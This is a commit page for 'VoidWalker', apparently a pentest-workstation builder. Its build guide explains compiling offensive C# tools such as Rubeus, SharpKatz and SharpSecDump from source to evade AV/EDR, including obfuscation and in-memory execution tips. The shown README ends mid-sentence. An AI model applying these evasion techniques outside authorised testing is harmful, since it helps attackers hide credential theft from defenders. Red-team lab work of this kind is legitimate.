the published commit on main
π§ Update [HEAD] | 18 Jul 2026 23:27:51 BST
π Stats: +21298 / -0 across 128 file(s) π Breakdown: β128 βοΈ0 ποΈ0 π0 π€ Author: $: DAΞMON π Changes: β Added .gitignore β Added BUILD_GUIDE.md β Added LICENSE β Added MANIFEST.in β Added README.md β Added attachments/voidwalker-screenshot.png β Added docker/.env.example β Added docker/.gitignore β Added docker/Dockerfile β Added docker/Dockerfile.dockerignore β Added docker/README.md β Added docker/bin/hbox β Added docker/config/htb β Added docker/config/htb.tmux.conf β Added docker/config/htb.zshrc β Added docker/docker-compose.yml β Added docker/entrypoint.sh β Added docker/provision.py β Added docker/vpn/.gitkeep β Added docker/work/.gitkeep β Added docs/index.html β Added docs/superpowers/specs/2026-07-02-kali-htb-docker-design.md β Added pyproject.toml β Added voidwalker.py β Added voidwalker/__init__.py β Added voidwalker/__main__.py β Added voidwalker/_core_methods.py β Added voidwalker/cli.py β Added voidwalker/core.py β Added voidwalker/data/binaries.py β Added voidwalker/data/build_targets.py β Added voidwalker/data/catalog.py β Added voidwalker/data/packages.py β Added voidwalker/data/sources.py β Added voidwalker/data/workspace.py β Added voidwalker/download.py β Added voidwalker/hostinfo.py β Added voidwalker/installers.py β Added voidwalker/integrations/__init__.py β Added voidwalker/integrations/assets/pentest-env/.gitignore β Added voidwalker/integrations/assets/pentest-env/UPSTREAM_README.md β Added voidwalker/integrations/assets/pentest-env/config/alacritty/alacritty.toml β Added voidwalker/integrations/assets/pentest-env/config/bin/htb-session β Added voidwalker/integrations/assets/pentest-env/config/bin/pe β Added voidwalker/integrations/assets/pentest-env/config/cheatsheets/env.md β Added voidwalker/integrations/assets/pentest-env/config/cheatsheets/htb-workflow.md β Added voidwalker/integrations/assets/pentest-env/config/cheatsheets/linux-privesc.md β Added voidwalker/integrations/assets/pentest-env/config/cheatsheets/nmap.md β Added voidwalker/integrations/assets/pentest-env/config/cheatsheets/shells.md β Added voidwalker/integrations/assets/pentest-env/config/cheatsheets/smb.md β Added voidwalker/integrations/assets/pentest-env/config/config.sh β Added voidwalker/integrations/assets/pentest-env/config/guide/ad-windows.html β Added voidwalker/integrations/assets/pentest-env/config/guide/assets/app.js β Added voidwalker/integrations/assets/pentest-env/config/guide/assets/style.css β Added voidwalker/integrations/assets/pentest-env/config/guide/htb-workflow.html β Added voidwalker/integrations/assets/pentest-env/config/guide/index.html β Added voidwalker/integrations/assets/pentest-env/config/guide/pe.html β Added voidwalker/integrations/assets/pentest-env/config/guide/privesc.html β Added voidwalker/integrations/assets/pentest-env/config/guide/recon.html β Added voidwalker/integrations/assets/pentest-env/config/guide/tmux.html β Added voidwalker/integrations/assets/pentest-env/config/guide/toolbox.html β Added voidwalker/integrations/assets/pentest-env/config/guide/transfer.html β Added voidwalker/integrations/assets/pentest-env/config/guide/web.html β Added voidwalker/integrations/assets/pentest-env/config/guide/zsh-terminal.html β Added voidwalker/integrations/assets/pentest-env/config/lib/backup.sh β Added voidwalker/integrations/assets/pentest-env/config/lib/cheat.sh β Added voidwalker/integrations/assets/pentest-env/config/lib/cred.sh β Added voidwalker/integrations/assets/pentest-env/config/lib/db.sh β Added voidwalker/integrations/assets/pentest-env/config/lib/doctor.sh β Added voidwalker/integrations/assets/pentest-env/config/lib/flag.sh β Added voidwalker/integrations/assets/pentest-env/config/lib/guide.sh β Added voidwalker/integrations/assets/pentest-env/config/lib/host.sh β Added voidwalker/integrations/assets/pentest-env/config/lib/note.sh β Added voidwalker/integrations/assets/pentest-env/config/lib/target.sh β Added voidwalker/integrations/assets/pentest-env/config/lib/ui.sh β Added voidwalker/integrations/assets/pentest-env/config/lib/vpn.sh β Added voidwalker/integrations/assets/pentest-env/config/schema.sql β Added voidwalker/integrations/assets/pentest-env/config/scripts/parallels-tools.sh β Added voidwalker/integrations/assets/pentest-env/config/templates/htb/.gitignore β Added voidwalker/integrations/assets/pentest-env/config/templates/htb/README.md β Added voidwalker/integrations/assets/pentest-env/config/theme/gnome/htb-workspace.desktop β Added voidwalker/integrations/assets/pentest-env/config/theme/gnome/htb-workspace.svg β Added voidwalker/integrations/assets/pentest-env/config/theme/gnome/ubuntu-xdg-terminals.list β Added voidwalker/integrations/assets/pentest-env/config/theme/install-gnome.sh β Added voidwalker/integrations/assets/pentest-env/config/theme/install-theme.sh β Added voidwalker/integrations/assets/pentest-env/config/theme/restore-gnome.sh β Added voidwalker/integrations/assets/pentest-env/config/theme/wallpapers/rose-pine-htb.png β Added voidwalker/integrations/assets/pentest-env/config/theme/xfce4-terminal/terminalrc β Added voidwalker/integrations/assets/pentest-env/config/tmux/tmux.conf β Added voidwalker/integrations/assets/pentest-env/config/wm/bspwm/bspwmrc β Added voidwalker/integrations/assets/pentest-env/config/wm/bspwm/make-wallpaper.sh β Added voidwalker/integrations/assets/pentest-env/config/wm/dunst/dunstrc β Added voidwalker/integrations/assets/pentest-env/config/wm/picom/picom.conf β Added voidwalker/integrations/assets/pentest-env/config/wm/polybar/config.ini β Added voidwalker/integrations/assets/pentest-env/config/wm/polybar/launch.sh β Added voidwalker/integrations/assets/pentest-env/config/wm/polybar/scripts/target.sh β Added voidwalker/integrations/assets/pentest-env/config/wm/polybar/scripts/updates.sh β Added voidwalker/integrations/assets/pentest-env/config/wm/polybar/scripts/vpn.sh β Added voidwalker/integrations/assets/pentest-env/config/wm/rofi/config.rasi β Added voidwalker/integrations/assets/pentest-env/config/wm/rofi/powermenu.sh β Added voidwalker/integrations/assets/pentest-env/config/wm/rofi/rose-pine.rasi β Added voidwalker/integrations/assets/pentest-env/config/wm/setup-wm.sh β Added voidwalker/integrations/assets/pentest-env/config/wm/sxhkd/sxhkdrc β Added voidwalker/integrations/assets/pentest-env/config/wm/xinitrc β Added voidwalker/integrations/assets/pentest-env/config/zsh/aliases.zsh β Added voidwalker/integrations/assets/pentest-env/config/zsh/functions.zsh β Added voidwalker/integrations/assets/pentest-env/config/zsh/pentest.zsh β Added voidwalker/integrations/assets/pentest-env/config/zsh/plugins.zsh β Added voidwalker/integrations/assets/pentest-env/config/zsh/prompt.zsh β Added voidwalker/integrations/assets/pentest-env/install.sh β Added voidwalker/integrations/assets/pimpmykali/UPSTREAM_README.md β Added voidwalker/integrations/assets/pimpmykali/addons/fixed-http-shellshock.nse β Added voidwalker/integrations/assets/pimpmykali/changelog.txt β Added voidwalker/integrations/assets/pimpmykali/fixed-http-shellshock.nse β Added voidwalker/integrations/assets/pimpmykali/pimpmykali.sh β Added voidwalker/integrations/bloodhound.py β Added voidwalker/integrations/kali.py β Added voidwalker/integrations/penv.py β Added voidwalker/integrations/proxy.py β Added voidwalker/integrations/recorder.py β Added voidwalker/integrations/rootsetup.py β Added voidwalker/search.py β Added voidwalker/selftest.py β Added voidwalker/theme.py β Added voidwalker/ui.py β Added voidwalker/vault.py β Added voidwalker/version.py β Added voidwalker/xplat.py π Line changes per file: β’ .gitignore +17 -0 β’ BUILD_GUIDE.md +378 -0 β’ LICENSE +21 -0 β’ MANIFEST.in +9 -0 β’ README.md +311 -0 β’ attachments/voidwalker-screenshot.png +- -- β’ docker/.env.example +10 -0 β’ docker/.gitignore +9 -0 β’ docker/Dockerfile +103 -0 β’ docker/Dockerfile.dockerignore +18 -0 β’ docker/README.md +151 -0 β’ docker/bin/hbox +80 -0 β’ docker/config/htb +90 -0 β’ docker/config/htb.tmux.conf +6 -0 β’ docker/config/htb.zshrc +38 -0 β’ docker/docker-compose.yml +42 -0 β’ docker/entrypoint.sh +25 -0 β’ docker/provision.py +177 -0 β’ docker/vpn/.gitkeep +0 -0 β’ docker/work/.gitkeep +0 -0 β’ docs/index.html +475 -0 β’ docs/superpowers/specs/2026-07-02-kali-htb-docker-design.md +133 -0 β’ pyproject.toml +41 -0 β’ voidwalker.py +19 -0 β’ voidwalker/__init__.py +19 -0 β’ voidwalker/__main__.py +6 -0 β’ voidwalker/_core_methods.py +253 -0 β’ voidwalker/cli.py +228 -0 β’ voidwalker/core.py +53 -0 β’ voidwalker/data/binaries.py +421 -0 β’ voidwalker/data/build_targets.py +234 -0 β’ voidwalker/data/catalog.py +472 -0 β’ voidwalker/data/packages.py +234 -0 β’ voidwalker/data/sources.py +71 -0 β’ voidwalker/data/workspace.py +96 -0 β’ voidwalker/download.py +241 -0 β’ voidwalker/hostinfo.py +148 -0 β’ voidwalker/installers.py +880 -0 β’ voidwalker/integrations/__init__.py +96 -0 β’ voidwalker/integrations/assets/pentest-env/.gitignore +19 -0 β’ voidwalker/integrations/assets/pentest-env/UPSTREAM_README.md +185 -0 β’ voidwalker/integrations/assets/pentest-env/config/alacritty/alacritty.toml +85 -0 β’ voidwalker/integrations/assets/pentest-env/config/bin/htb-session +54 -0 β’ voidwalker/integrations/assets/pentest-env/config/bin/pe +106 -0 β’ voidwalker/integrations/assets/pentest-env/config/cheatsheets/env.md +172 -0 β’ voidwalker/integrations/assets/pentest-env/config/cheatsheets/htb-workflow.md +45 -0 β’ voidwalker/integrations/assets/pentest-env/config/cheatsheets/linux-privesc.md +40 -0 β’ voidwalker/integrations/assets/pentest-env/config/cheatsheets/nmap.md +33 -0 β’ voidwalker/integrations/assets/pentest-env/config/cheatsheets/shells.md +35 -0 β’ voidwalker/integrations/assets/pentest-env/config/cheatsheets/smb.md +35 -0 β’ voidwalker/integrations/assets/pentest-env/config/config.sh +85 -0 β’ voidwalker/integrations/assets/pentest-env/config/guide/ad-windows.html +21 -0 β’ voidwalker/integrations/assets/pentest-env/config/guide/assets/app.js +110 -0 β’ voidwalker/integrations/assets/pentest-env/config/guide/assets/style.css +909 -0 β’ voidwalker/integrations/assets/pentest-env/config/guide/htb-workflow.html +44 -0 β’ voidwalker/integrations/assets/pentest-env/config/guide/index.html +147 -0 β’ voidwalker/integrations/assets/pentest-env/config/guide/pe.html +190 -0 β’ voidwalker/integrations/assets/pentest-env/config/guide/privesc.html +160 -0 β’ voidwalker/integrations/assets/pentest-env/config/guide/recon.html +23 -0 β’ voidwalker/integrations/assets/pentest-env/config/guide/tmux.html +147 -0 β’ voidwalker/integrations/assets/pentest-env/config/guide/toolbox.html +216 -0 β’ voidwalker/integrations/assets/pentest-env/config/guide/transfer.html +179 -0 β’ voidwalker/integrations/assets/pentest-env/config/guide/web.html +20 -0 β’ voidwalker/integrations/assets/pentest-env/config/guide/zsh-terminal.html +25 -0 β’ voidwalker/integrations/assets/pentest-env/config/lib/backup.sh +125 -0 β’ voidwalker/integrations/assets/pentest-env/config/lib/cheat.sh +51 -0 β’ voidwalker/integrations/assets/pentest-env/config/lib/cred.sh +109 -0 β’ voidwalker/integrations/assets/pentest-env/config/lib/db.sh +124 -0 β’ voidwalker/integrations/assets/pentest-env/config/lib/doctor.sh +94 -0 β’ voidwalker/integrations/assets/pentest-env/config/lib/flag.sh +91 -0 β’ voidwalker/integrations/assets/pentest-env/config/lib/guide.sh +94 -0 β’ voidwalker/integrations/assets/pentest-env/config/lib/host.sh +105 -0 β’ voidwalker/integrations/assets/pentest-env/config/lib/note.sh +119 -0 β’ voidwalker/integrations/assets/pentest-env/config/lib/target.sh +228 -0 β’ voidwalker/integrations/assets/pentest-env/config/lib/ui.sh +115 -0 β’ voidwalker/integrations/assets/pentest-env/config/lib/vpn.sh +109 -0 β’ voidwalker/integrations/assets/pentest-env/config/schema.sql +85 -0 β’ voidwalker/integrations/assets/pentest-env/config/scripts/parallels-tools.sh +181 -0 β’ voidwalker/integrations/assets/pentest-env/config/templates/htb/.gitignore +17 -0 β’ voidwalker/integrations/assets/pentest-env/config/templates/htb/README.md +41 -0 β’ voidwalker/integrations/assets/pentest-env/config/theme/gnome/htb-workspace.desktop +12 -0 β’ voidwalker/integrations/assets/pentest-env/config/theme/gnome/htb-workspace.svg +18 -0 β’ voidwalker/integrations/assets/pentest-env/config/theme/gnome/ubuntu-xdg-terminals.list +2 -0 β’ voidwalker/integrations/assets/pentest-env/config/theme/install-gnome.sh +524 -0 β’ voidwalker/integrations/assets/pentest-env/config/theme/install-theme.sh +96 -0 β’ voidwalker/integrations/assets/pentest-env/config/theme/restore-gnome.sh +6 -0 β’ voidwalker/integrations/assets/pentest-env/config/theme/wallpapers/rose-pine-htb.png +- -- β’ voidwalker/integrations/assets/pentest-env/config/theme/xfce4-terminal/terminalrc +29 -0 β’ voidwalker/integrations/assets/pentest-env/config/tmux/tmux.conf +86 -0 β’ voidwalker/integrations/assets/pentest-env/config/wm/bspwm/bspwmrc +115 -0 β’ voidwalker/integrations/assets/pentest-env/config/wm/bspwm/make-wallpaper.sh +25 -0 β’ voidwalker/integrations/assets/pentest-env/config/wm/dunst/dunstrc +72 -0 β’ voidwalker/integrations/assets/pentest-env/config/wm/picom/picom.conf +78 -0 β’ voidwalker/integrations/assets/pentest-env/config/wm/polybar/config.ini +256 -0 β’ voidwalker/integrations/assets/pentest-env/config/wm/polybar/launch.sh +21 -0 β’ voidwalker/integrations/assets/pentest-env/config/wm/polybar/scripts/target.sh +8 -0 β’ voidwalker/integrations/assets/pentest-env/config/wm/polybar/scripts/updates.sh +6 -0 β’ voidwalker/integrations/assets/pentest-env/config/wm/polybar/scripts/vpn.sh +12 -0 β’ voidwalker/integrations/assets/pentest-env/config/wm/rofi/config.rasi +20 -0 β’ voidwalker/integrations/assets/pentest-env/config/wm/rofi/powermenu.sh +36 -0 β’ voidwalker/integrations/assets/pentest-env/config/wm/rofi/rose-pine.rasi +101 -0 β’ voidwalker/integrations/assets/pentest-env/config/wm/setup-wm.sh +115 -0 β’ voidwalker/integrations/assets/pentest-env/config/wm/sxhkd/sxhkdrc +158 -0 β’ voidwalker/integrations/assets/pentest-env/config/wm/xinitrc +14 -0 β’ voidwalker/integrations/assets/pentest-env/config/zsh/aliases.zsh +52 -0 β’ voidwalker/integrations/assets/pentest-env/config/zsh/functions.zsh +153 -0 β’ voidwalker/integrations/assets/pentest-env/config/zsh/pentest.zsh +30 -0 β’ voidwalker/integrations/assets/pentest-env/config/zsh/plugins.zsh +30 -0 β’ voidwalker/integrations/assets/pentest-env/config/zsh/prompt.zsh +31 -0 β’ voidwalker/integrations/assets/pentest-env/install.sh +465 -0 β’ voidwalker/integrations/assets/pimpmykali/UPSTREAM_README.md +652 -0 β’ voidwalker/integrations/assets/pimpmykali/addons/fixed-http-shellshock.nse +105 -0 β’ voidwalker/integrations/assets/pimpmykali/changelog.txt +874 -0 β’ voidwalker/integrations/assets/pimpmykali/fixed-http-shellshock.nse +105 -0 β’ voidwalker/integrations/assets/pimpmykali/pimpmykali.sh +2944 -0 β’ voidwalker/integrations/bloodhound.py +322 -0 β’ voidwalker/integrations/kali.py +145 -0 β’ voidwalker/integrations/penv.py +211 -0 β’ voidwalker/integrations/proxy.py +168 -0 β’ voidwalker/integrations/recorder.py +178 -0 β’ voidwalker/integrations/rootsetup.py +348 -0 β’ voidwalker/search.py +537 -0 β’ voidwalker/selftest.py +208 -0 β’ voidwalker/theme.py +136 -0 β’ voidwalker/ui.py +459 -0 β’ voidwalker/vault.py +810 -0 β’ voidwalker/version.py +3 -0 β’ voidwalker/xplat.py +144 -0
- author
- $: DAΞMON
- date
- commit
8926b67b82a02c00c06060c12939e182a6490399- parent
- none (root commit)
Changes
128 files changed +21,298 β0.gitignore
new file mode 100644
@@ -0,0 +1,17 @@
+# Python bytecode
+__pycache__/
+*.py[cod]
+
+# Packaging / build artifacts (generated by pip, build, setuptools, uv)
+build/
+dist/
+*.egg-info/
+.eggs/
+
+# Virtual environments & uv
+.venv/
+venv/
+uv.lock
+
+# OS cruft
+.DS_StoreBUILD_GUIDE.md
new file mode 100644
@@ -0,0 +1,378 @@
+# VoidWalker β C# Build Guide
+
+> Build offensive C# tools from source for maximum OPSEC.
+> Pre-compiled binaries are heavily signatured by AV/EDR β building from source lets you customise, obfuscate, and evade detection.
+
+---
+
+## Table of Contents
+
+1. [Prerequisites](#prerequisites)
+2. [Automated Building (VoidWalker)](#automated-building-voidwalker)
+3. [Manual Building β dotnet CLI](#manual-building--dotnet-cli)
+4. [Manual Building β Visual Studio](#manual-building--visual-studio)
+5. [Cross-Compilation (Linux/macOS β Windows)](#cross-compilation-linuxmacos--windows)
+6. [OPSEC Considerations](#opsec-considerations)
+7. [Troubleshooting](#troubleshooting)
+8. [Tool Reference](#tool-reference)
+
+---
+
+## Prerequisites
+
+### .NET SDK Installation
+
+**macOS (Homebrew):**
+```bash
+brew install dotnet-sdk
+```
+
+**Linux (Ubuntu/Debian):**
+```bash
+# Option 1: Microsoft packages
+wget https://packages.microsoft.com/config/ubuntu/22.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
+sudo dpkg -i packages-microsoft-prod.deb
+sudo apt-get update && sudo apt-get install -y dotnet-sdk-8.0
+
+# Option 2: Install script
+wget https://dot.net/v1/dotnet-install.sh
+bash dotnet-install.sh --channel 8.0
+export PATH="$HOME/.dotnet:$PATH"
+```
+
+**Windows:**
+- Download from [https://dotnet.microsoft.com/download](https://dotnet.microsoft.com/download)
+- Or use `winget install Microsoft.DotNet.SDK.8`
+
+**Verify installation:**
+```bash
+dotnet --version
+# Should output 8.x.x or similar
+```
+
+### ARM64 / aarch64 hosts (Apple Silicon, Raspberry Pi, Graviton)
+
+The `dotnet-install.sh` script auto-detects your CPU and pulls the correct SDK,
+so the Linux **Option 2** above works unchanged on arm64. On Apple Silicon,
+`brew install dotnet-sdk` installs the native arm64 SDK.
+
+Note on output: the GhostPack-style targets here build **AnyCPU / IL** assemblies
+(`net462`), so the produced `.exe` runs on Windows regardless of the *build host's*
+CPU β you can compile them on an ARM Linux/macOS box and still get a working
+Windows binary. You only need an explicit RID (`-r win-x64` / `-r win-arm64`) when
+producing self-contained, single-file builds for a specific Windows architecture.
+
+### Additional Requirements
+
+- **Git** β for cloning source repositories
+- **NuGet** β included with .NET SDK (used for package restore)
+- **Mono** (optional, Linux/macOS) β for building .NET Framework 4.x targets
+
+---
+
+## Automated Building (VoidWalker)
+
+VoidWalker can automatically clone, build, and collect 21 C# tools:
+
+```bash
+# Run VoidWalker and select option 6: "Build C# Tools from Source"
+sudo python3 voidwalker.py
+
+# Or use it programmatically:
+# The script will:
+# 1. Check for dotnet SDK
+# 2. Clone each repo to ~/voidwalker/tools/build-src/<ToolName>/
+# 3. Run: dotnet restore && dotnet build -c Release
+# 4. Copy compiled .exe files to ~/voidwalker/tools/windows/compiled/<ToolName>/
+```
+
+### What gets built:
+
+| Tool | Description | Framework |
+|------|-------------|-----------|
+| Rubeus | Kerberos abuse toolkit | net462 |
+| Seatbelt | Security enumeration | net462 |
+| Certify | ADCS enumeration & abuse | net462 |
+| SharpUp | Privilege escalation checks | net462 |
+| SharpDPAPI | DPAPI secrets extraction | net462 |
+| ForgeCert | Certificate forgery | net462 |
+| SharpWMI | WMI lateral movement | net462 |
+| KrbRelay | Kerberos relay attacks | net462 |
+| KrbRelayUp | Kerberos relay priv-esc | net462 |
+| ADSearch | AD LDAP enumeration | net462 |
+| StandIn | AD post-compromise toolkit | net462 |
+| Whisker | Shadow Credentials attack | net462 |
+| SharpSploit | Post-exploitation library | netstandard2.0 |
+| SharpKatz | C# Mimikatz (sekurlsa) | net462 |
+| SharpView | C# PowerView port | net462 |
+| SharPersist | Persistence toolkit | net462 |
+| SharpSecDump | Remote SAM + LSA dump | net462 |
+| SQLRecon | SQL Server post-exploitation | net6.0 |
+| Snaffler | Credential hunting | net462 |
+| InternalMonologue | NetNTLM extraction | net462 |
+| SpoolSample | Print spooler coercion | net462 |
+
+---
+
+## Manual Building β dotnet CLI
+
+### Basic Build (Single Tool)
+
+```bash
+# 1. Clone the repository
+git clone https://github.com/GhostPack/Rubeus.git
+cd Rubeus
+
+# 2. Restore NuGet packages
+dotnet restore Rubeus.sln
+
+# 3. Build in Release mode
+dotnet build Rubeus.sln -c Release
+
+# 4. Find your binary
+ls -la Rubeus/bin/Release/net462/Rubeus.exe
+```
+
+### Self-Contained Build (No .NET Required on Target)
+
+```bash
+dotnet publish Rubeus.sln -c Release -r win-x64 --self-contained true -p:PublishSingleFile=true
+# Output: Rubeus/bin/Release/net462/win-x64/publish/Rubeus.exe
+```
+
+### Targeting Specific .NET Versions
+
+Many GhostPack tools target .NET 4.6.2 (`net462`). To build for a different version:
+
+```bash
+# Build for .NET 4.5 (older Windows Server compatibility)
+dotnet build Rubeus.sln -c Release -f net45
+
+# Build for .NET 6.0 (modern, cross-platform)
+dotnet build Rubeus.sln -c Release -f net6.0
+```
+
+---
+
+## Manual Building β Visual Studio
+
+### Step-by-Step
+
+1. **Install Visual Studio** (Community Edition is free)
+ - During setup, select the **".NET desktop development"** workload
+ - Also select **.NET Framework 4.6.2 targeting pack** under "Individual components"
+
+2. **Clone the repository**
+ ```
+ File β Clone Repository β paste the GitHub URL
+ ```
+
+3. **Open the solution**
+ ```
+ File β Open β Project/Solution β select the .sln file
+ ```
+
+4. **Set build configuration**
+ - Toolbar: Change `Debug` β `Release`
+ - Toolbar: Change `Any CPU` or `x64` as needed
+
+5. **Restore NuGet packages**
+ ```
+ Tools β NuGet Package Manager β Package Manager Console
+ > Update-Package -reinstall
+ ```
+
+6. **Build**
+ ```
+ Build β Build Solution (Ctrl+Shift+B)
+ ```
+
+7. **Find your binary**
+ ```
+ Project\bin\Release\net462\ToolName.exe
+ ```
+
+### Visual Studio Code (Alternative)
+
+```bash
+# Install C# extension
+code --install-extension ms-dotnettools.csharp
+
+# Open the project folder
+code ./Rubeus
+
+# Use the integrated terminal to build
+dotnet build Rubeus.sln -c Release
+```
+
+---
+
+## Cross-Compilation (Linux/macOS β Windows)
+
+You can build Windows executables from a Linux or macOS machine:
+
+```bash
+# Install .NET SDK (see Prerequisites above)
+
+# Clone and build for Windows
+git clone https://github.com/GhostPack/Rubeus.git
+cd Rubeus
+
+# Cross-compile for Windows x64
+dotnet publish -c Release -r win-x64 --self-contained true -p:PublishSingleFile=true
+
+# The Windows .exe will be in:
+# bin/Release/net462/win-x64/publish/Rubeus.exe
+```
+
+### Important Notes
+
+- **Mono** may be needed for .NET Framework targets on Linux: `sudo apt install mono-complete`
+- Some tools require **Windows-specific APIs** and may not cross-compile cleanly
+- For best results, build on a **Windows VM** or use **GitHub Actions** (see below)
+
+### GitHub Actions (CI/CD Build Pipeline)
+
+Create `.github/workflows/build.yml` in your fork:
+
+```yaml
+name: Build C# Tools
+on: [push, workflow_dispatch]
+jobs:
+ build:
+ runs-on: windows-latest
+ steps:
+ - uses: actions/checkout@v4
+ - uses: actions/setup-dotnet@v4
+ with:
+ dotnet-version: '8.0.x'
+ - run: dotnet restore
+ - run: dotnet build -c Release
+ - uses: actions/upload-artifact@v4
+ with:
+ name: compiled-tools
+ path: '**/bin/Release/**/*.exe'
+```
+
+---
+
+## OPSEC Considerations
+
+### Why Build from Source?
+
+1. **Signature Evasion** β Pre-compiled binaries from SharpCollection and GhostPack-CompiledBinaries are heavily signatured by AV/EDR vendors
+2. **Integrity** β Building from source guarantees no backdoors
+3. **Customisation** β You can modify tool behaviour before compilation
+4. **Obfuscation** β Integrate obfuscation into your build pipeline
+
+### Quick Obfuscation Tips
+
+```bash
+# 1. Rename the assembly and namespace
+# Edit AssemblyInfo.cs or .csproj:
+# <AssemblyName>TotallyLegitProcess</AssemblyName>
+
+# 2. Use ConfuserEx for basic obfuscation
+# https://github.com/mkaring/ConfuserEx
+
+# 3. Use InvisibilityCloak for string obfuscation
+# https://github.com/h4wkst3r/InvisibilityCloak
+pip install InvisibilityCloak
+InvisibilityCloak -d ./Rubeus -m reverse
+
+# 4. Build after obfuscation
+dotnet build -c Release
+```
+
+### Detection Warning
+
+These tools **will** be flagged by modern EDR solutions (CrowdStrike, Defender for Endpoint, SentinelOne) even when built from source. For real engagements:
+- Use in-memory execution (Donut, Assembly.Load)
+- Use D/Invoke instead of P/Invoke
+- Consider BOF (Beacon Object Files) alternatives
+- Time your execution carefully
+
+---
+
+## Troubleshooting
+
+### Common Errors
+
+**"The framework 'net462' was not found"**
+```bash
+# Install the .NET Framework targeting pack
+# On Linux: install Mono
+sudo apt install mono-complete mono-devel
+# Or reference pack via NuGet
+dotnet add package Microsoft.NETFramework.ReferenceAssemblies.net462
+```
+
+**"NuGet package not found"**
+```bash
+dotnet nuget add source https://api.nuget.org/v3/index.json
+dotnet restore --force
+```
+
+**"Could not find file 'packages.config'"**
+```bash
+# This is a legacy NuGet format. Migrate:
+dotnet migrate
+# Or install packages manually via NuGet
+```
+
+**Build fails with MSBuild errors**
+```bash
+# Try using MSBuild directly (Windows)
+msbuild ToolName.sln /p:Configuration=Release
+
+# Or on Linux/macOS with Mono
+msbuild ToolName.sln /p:Configuration=Release /p:TargetFrameworkVersion=v4.6.2
+```
+
+**"Assembly reference not found"**
+```bash
+# Ensure you have the correct SDK version
+dotnet --list-sdks
+# Install additional targeting packs
+dotnet add package Microsoft.NETFramework.ReferenceAssemblies
+```
+
+---
+
+## Tool Reference
+
+### GhostPack (SpecterOps)
+
+| Tool | Repo | Purpose |
+|------|------|---------|
+| Rubeus | `GhostPack/Rubeus` | Kerberoasting, AS-REP roasting, ticket manipulation, delegation abuse |
+| Seatbelt | `GhostPack/Seatbelt` | Host security configuration enumeration |
+| Certify | `GhostPack/Certify` | ADCS template enumeration, ESC1-ESC8 |
+| SharpUp | `GhostPack/SharpUp` | Local privilege escalation checks (PowerUp equivalent) |
+| SharpDPAPI | `GhostPack/SharpDPAPI` | DPAPI secret extraction (credentials, certificates) |
+| ForgeCert | `GhostPack/ForgeCert` | Certificate forgery using stolen CA keys |
+| SharpWMI | `GhostPack/SharpWMI` | WMI queries and lateral movement |
+
+### AD Exploitation
+
+| Tool | Repo | Purpose |
+|------|------|---------|
+| ADSearch | `tomcarver16/ADSearch` | LDAP-based AD enumeration |
+| StandIn | `FuzzySecurity/StandIn` | RBCD, GPO, ACL abuse |
+| Whisker | `eladshamir/Whisker` | Shadow Credentials (msDS-KeyCredentialLink) |
+| SharpView | `tevora-threat/SharpView` | C# port of PowerView |
+| KrbRelay | `cube0x0/KrbRelay` | Kerberos authentication relay |
+| KrbRelayUp | `Dec0ne/KrbRelayUp` | Local privilege escalation via Kerberos relay |
+| InternalMonologue | `eladshamir/Internal-Monologue` | NetNTLM hash extraction without touching LSASS |
+| SpoolSample | `leechristensen/SpoolSample` | Print spooler coercion for unconstrained delegation |
+
+### Post-Exploitation
+
+| Tool | Repo | Purpose |
+|------|------|---------|
+| SharpKatz | `b4rtik/SharpKatz` | C# Mimikatz (sekurlsa module) |
+| SharpSecDump | `G0ldenGunSec/SharpSecDump` | Remote SAM and LSA secrets dumping |
+| SharPersist | `mandiant/SharPersist` | Persistence mechanism toolkit |
+| SharpSploit | `cobbr/SharpSploit` | Post-exploitation library (dependency for other tools) |
+| Snaffler | `SnaffCon/Snaffler` | Credential and secret hunting across file shares |
+| SQLRecon | `skahwah/SQLRecon` | SQL Server reconnaissance and post-exploitation |LICENSE
new file mode 100644
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 $: DAΞMON
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.MANIFEST.in
new file mode 100644
@@ -0,0 +1,9 @@
+include LICENSE
+include README.md
+include BUILD_GUIDE.md
+
+# Vendored integration engines driven by VoidWalker (pimpmykali + pentest-env).
+recursive-include voidwalker/integrations/assets *
+
+global-exclude __pycache__/*
+global-exclude *.py[cod]README.md
new file mode 100644
@@ -0,0 +1,311 @@
+<div align="center">
+ <img src="attachments/voidwalker-screenshot.png" alt="VoidWalker UI" width="800"/>
+
+ # V O I D W A L K E R
+ **ELITE PENETRATION TESTING ARSENAL BUILDER & WORKSPACE MANAGER**
+
+ [](https://github.com/DAEMON-404/voidwalker.py)
+ [](https://github.com/DAEMON-404/voidwalker.py)
+ [](https://github.com/DAEMON-404/voidwalker.py)
+ [](https://github.com/DAEMON-404/voidwalker.py)
+ [](https://github.com/DAEMON-404/voidwalker.py)
+</div>
+
+---
+
+<br>
+
+## β‘ What is VoidWalker?
+VoidWalker is an advanced, automated toolkit built for Red Teamers, Penetration Testers, and HTB Pro Lab players. It transforms a barebones macOS or Linux system into a fully equipped offensive workstation in minutes.
+
+With **version 5.3.0**, VoidWalker is a clean, modular Python package with first-class **multi-architecture** support (x86_64 **and** ARM64/aarch64/armv7) β so it runs on Apple Silicon, Raspberry Pi, AWS Graviton and other ARM hardware, not just amd64.
+
+**Version 5.3.0** folds two former standalone projects *into* VoidWalker so the whole workflow lives behind one command:
+
+- π **Kali fixer (pimpmykali)** β the battle-tested "make a fresh Kali VM usable" engine, now reachable as `voidwalker kali β¦` and from the main menu. Fixes missing tooling, smb.conf, nmap scripts, Impacket, mirrors, root login and more.
